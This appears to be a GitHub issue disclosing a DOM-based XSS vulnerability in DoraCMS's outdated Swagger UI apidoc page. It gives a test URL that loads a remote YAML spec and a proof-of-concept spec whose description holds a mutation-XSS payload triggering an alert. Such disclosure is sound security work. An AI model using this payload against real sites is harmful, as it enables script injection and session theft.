You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Doracms uses outdated version of swagger to build apidoc, which contains a known Dom-based XSS vulnerability.
You can just add this parameter to the URL to test your site.
https://[HOST]/static/apidoc/index.html?url=https://jumpy-floor.surge.sh/test.yaml
POC:
swagger: '2.0'
info:
title: Example yaml.spec
description: |
<math><mtext><option><FAKEFAKE><option></option><mglyph><svg><mtext><textarea><a title="</textarea><img src='#' onerror=alert('xss')>">
paths:
/accounts:
get:
responses:
'200':
description: No response was specified
tags:
- accounts
operationId: findAccounts
summary: Finds all accounts
The text was updated successfully, but these errors were encountered:
Doracms uses outdated version of swagger to build apidoc, which contains a known Dom-based XSS vulnerability.
You can just add this parameter to the URL to test your site.
https://[HOST]/static/apidoc/index.html?url=https://jumpy-floor.surge.sh/test.yaml
POC:
The text was updated successfully, but these errors were encountered: